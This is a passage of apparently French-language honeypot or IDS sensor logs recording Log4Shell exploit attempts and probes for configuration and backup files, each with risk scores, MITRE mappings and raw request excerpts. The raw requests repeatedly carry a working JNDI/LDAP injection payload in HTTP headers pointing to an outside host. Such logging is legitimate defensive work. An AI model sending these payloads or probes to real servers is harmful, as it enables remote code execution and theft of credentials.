Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20640,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":5.4,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":47,"tag_count":4,"anomaly_count":0,"campaign_key":"77eab3426c80b1bdaaaee26bb45b152368788e44","event_fingerprint":"88505779c470cf451438f555eb9cff42642a3a69","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":47,"correlation_boost":18},"named_classi…
23/10/2026 11:45:49 UTC	TCP	20626 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20626 · (tentative d'exploit) · → /search	Élevée	Critique · 100
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole POST /search UA ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} Émulateur HTTP WAF 80 Recommandation Bloquer (recommandé) Tags 950326:rce-0 950327:rce-0 950406:ssrf-3 950407:ssrf-3 Cible HTTP POST /search TLS SNI — Capteur paris-1
Preuve / Evidence Méthode POST Port 20626 Chemin / cible /search Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Critique · 100 Confiance : Confiance 95 % — Motif catalogue confirmé · 11 tag(s) WAF Signaux ET-EXPLOIT-Log4j Http Log4J pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `POST /search HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh log4shell-jndi Payload (extrait) POST /search HTTP/1.1 Host: 62.3.50.33:20626 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130: Requête brute (extrait) POST /search HTTP/1.1 Host: 62.3.50.33:20626 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192. Meta JSON brut {"http_header_count":10,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"c51ac35fada4dbeba9496c1059dd5b6837848af4","http_host_hash":"19c52d8bab1189a82a8bf9de204e378b64730222","http_target_hash":"e3319f35c1041681a2994ba4d7dc71295caceb96","http_referer_hash":"c51ac35fada4dbeba9496c1059dd5b6837848af4","http_method":"POST","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":624,"payload_entropy":5.320902850736226,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20626,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":48,"risk_granularity":4.8,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":100,"tag_count":21,"anomaly_count":0,"campaign_key":"d92a5114617244ec51d8e558dfdec6a70787bc63","event_fingerprint":"7c4c0c9f13254b0cf18710f7974ad20deebe48f5","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":582,"precision_signals":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidenc…
23/10/2026 11:45:49 UTC	TCP	20626 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20626 · (tentative d'exploit) · → /search	Élevée	Élevé · 77
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole GET /search UA ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} Émulateur HTTP WAF 42 Recommandation Investiguer Tags 950326:rce-0 950406:ssrf-3 950418:jndi-0 950470:nosqli-3 Cible HTTP GET /search TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20626 Chemin / cible /search Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Élevé · 77 Confiance : Confiance 95 % — Motif catalogue confirmé · 6 tag(s) WAF Signaux ET-EXPLOIT-Log4j pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `GET /search HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh log4shell-jndi Payload (extrait) GET /search HTTP/1.1 Host: 62.3.50.33:20626 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:46 Requête brute (extrait) GET /search HTTP/1.1 Host: 62.3.50.33:20626 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4601/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.16 Meta JSON brut {"http_header_count":9,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"c51ac35fada4dbeba9496c1059dd5b6837848af4","http_host_hash":"19c52d8bab1189a82a8bf9de204e378b64730222","http_target_hash":"e3319f35c1041681a2994ba4d7dc71295caceb96","http_referer_hash":"c51ac35fada4dbeba9496c1059dd5b6837848af4","http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":498,"payload_entropy":5.259047090159397,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20626,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":12,"risk_granularity":4.8,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":77,"tag_count":11,"anomaly_count":0,"campaign_key":"e0d003bd3916206a0158be266421c8fe5f533fdc","event_fingerprint":"7c4c0c9f13254b0cf18710f7974ad20deebe48f5","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":342,"precision_signals":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidence_breakdown":{"waf":100,"classificati…
23/10/2026 11:45:49 UTC	TCP	31832 · HTTP	http	Scan de ports port scan syn · via HTTP:31832 · (reconnaissance) · → /web.config	Élevée	Moyen · 47
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 31832 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 47 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":5.6,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":47,"tag_count":4,"anomaly_count":0,"campaign_key":"c7ede2b79f9a3cf249e378e2566417e8f803fc8a","event_fingerprint":"9e80d17f5613ce28d41b7248c25528b331f30fad","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":47,"correlation_boost":18},"named_classi…
23/10/2026 11:45:49 UTC	TCP	20639 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20639 · (tentative d'exploit) · → /login	Élevée	Critique · 100
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole POST /login UA ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} Émulateur HTTP WAF 80 Recommandation Bloquer (recommandé) Tags 950326:rce-0 950327:rce-0 950406:ssrf-3 950407:ssrf-3 Cible HTTP POST /login TLS SNI — Capteur paris-1
Preuve / Evidence Méthode POST Port 20639 Chemin / cible /login Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Critique · 100 Confiance : Confiance 95 % — Motif catalogue confirmé · 11 tag(s) WAF Signaux ET-EXPLOIT-Log4j Http Log4J pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `POST /login HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh log4shell-jndi Payload (extrait) POST /login HTTP/1.1 Host: 62.3.50.33:20639 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4 Requête brute (extrait) POST /login HTTP/1.1 Host: 62.3.50.33:20639 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.1 Meta JSON brut {"http_header_count":10,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"a26b02c706d6b7043e1888596f91823269f474e3","http_host_hash":"c7962850175bd302b00a401e535bd8eac3529636","http_target_hash":"c42c80aa06113268fddf90dfdc871fb7318ff5cf","http_referer_hash":"a26b02c706d6b7043e1888596f91823269f474e3","http_method":"POST","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":623,"payload_entropy":5.3269001711749375,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20639,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":48,"risk_granularity":6.8,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":100,"tag_count":22,"anomaly_count":0,"campaign_key":"c6d5b82c2dd2be828dcdfbaebed4b51ba96d8948","event_fingerprint":"d486a445aa27da465fb21db8ab3fcc5fcb27f86c","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":582,"precision_signals":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confiden…
23/10/2026 11:45:49 UTC	TCP	31832 · HTTP	http	Scan de ports port scan syn · via HTTP:31832 · (reconnaissance) · → /config.php.bak	Élevée	Moyen · 59
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 21 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950521:leak-8 http_backup_file_scan Cible HTTP GET /config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 31832 Chemin / cible /config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 59 Confiance : Confiance 100 % — 3 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-8 Payload (extrait) GET /config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Requête brute (extrait) GET /config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"f4e5344862db3f007de9149164d79b088f516034","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":183,"payload_entropy":5.240677569590536,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":92,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6.6,"risk_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":59,"tag_count":7,"anomaly_count":0,"campaign_key":"e178cfd2acb7435ea5ce9de92b9f7be82b533ecf","event_fingerprint":"a26d5dad06bc09ca57badf3285afb6d89696e4bc","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":59,"correlation_boost":18},"named_classific…
23/10/2026 11:45:49 UTC	TCP	31832 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:31832 · (tentative d'exploit) · → /api/	Élevée	Critique · 100
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole POST /api/ UA ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} Émulateur HTTP WAF 90 Recommandation Bloquer (recommandé) Tags 950326:rce-0 950327:rce-0 950406:ssrf-3 950407:ssrf-3 Cible HTTP POST /api/ TLS SNI — Capteur paris-1
Preuve / Evidence Méthode POST Port 31832 Chemin / cible /api/ Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Critique · 100 Confiance : Confiance 95 % — Motif catalogue confirmé · 13 tag(s) WAF Signaux ET-EXPLOIT-Log4j Http Log4J pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `POST /api/ HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh k8s-api log4shell-jndi Payload (extrait) POST /api/ HTTP/1.1 Host: 62.3.50.33:31832 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:46 Requête brute (extrait) POST /api/ HTTP/1.1 Host: 62.3.50.33:31832 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4605/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.16 Meta JSON brut {"http_header_count":10,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"aa01e151de9993b07301e663f83a8b94cff655ca","http_host_hash":"6375668bbc7e8a77ee64c87a1ff165cd64a46f95","http_target_hash":"357322ae39f93f572e23cd9edd3307e2ac5a321f","http_referer_hash":"aa01e151de9993b07301e663f83a8b94cff655ca","http_method":"POST","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":622,"payload_entropy":5.334091928262329,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":48,"risk_granularity":7.2,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":100,"tag_count":25,"anomaly_count":0,"campaign_key":"e89ca1c0f30cf03855c81b00bd7f90fc2504e6c5","event_fingerprint":"6aa4961ea7ba77d9571def1a829eccf5c1941ce0","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":582,"precision_signals":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidenc…
23/10/2026 11:45:49 UTC	TCP	20639 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20639 · (tentative d'exploit) · → /login	Élevée	Élevé · 79
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole GET /login UA ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} Émulateur HTTP WAF 42 Recommandation Investiguer Tags 950326:rce-0 950406:ssrf-3 950418:jndi-0 950470:nosqli-3 Cible HTTP GET /login TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20639 Chemin / cible /login Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Élevé · 79 Confiance : Confiance 95 % — Motif catalogue confirmé · 6 tag(s) WAF Signaux ET-EXPLOIT-Log4j pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `GET /login HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh log4shell-jndi Payload (extrait) GET /login HTTP/1.1 Host: 62.3.50.33:20639 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:460 Requête brute (extrait) GET /login HTTP/1.1 Host: 62.3.50.33:20639 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4604/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.168 Meta JSON brut {"http_header_count":9,"http_query_params":0,"http_path_depth":1,"http_path_ext":null,"http_ua_hash":"a26b02c706d6b7043e1888596f91823269f474e3","http_host_hash":"c7962850175bd302b00a401e535bd8eac3529636","http_target_hash":"c42c80aa06113268fddf90dfdc871fb7318ff5cf","http_referer_hash":"a26b02c706d6b7043e1888596f91823269f474e3","http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":497,"payload_entropy":5.263017147189953,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20639,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":12,"risk_granularity":6.8,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":79,"tag_count":12,"anomaly_count":0,"campaign_key":"11881f5d34a10df89e3c2cae15ad80f45aff420b","event_fingerprint":"d486a445aa27da465fb21db8ab3fcc5fcb27f86c","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":342,"precision_signals":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidence_breakdown":{"waf":100,"classificati…
23/10/2026 11:45:49 UTC	TCP	20787 · HTTP	http	Scan de ports port scan syn · via HTTP:20787 · (reconnaissance) · → /web.config	Élevée	Moyen · 46
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20787 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 46 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20787,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.1,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":46,"tag_count":4,"anomaly_count":0,"campaign_key":"1e20bc9201255c5ba6484016f92fb7c8c1744674","event_fingerprint":"49ee05efd0f76f4f55c6c6000b778d430844bccf","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":46,"correlation_boost":18},"named_classi…
23/10/2026 11:45:49 UTC	TCP	31832 · HTTP	http	Scan de ports port scan syn · via HTTP:31832 · (reconnaissance) · → /wp-config.php.bak	Élevée	Moyen · 62
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 29 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950518:leak-5 950521:leak-8 Cible HTTP GET /wp-config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 31832 Chemin / cible /wp-config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 62 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-5 leak-8 Payload (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x Requête brute (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"0372d7102c333673ea0de9e60c73911cb60bfb5f","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":186,"payload_entropy":5.2529992835642085,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet 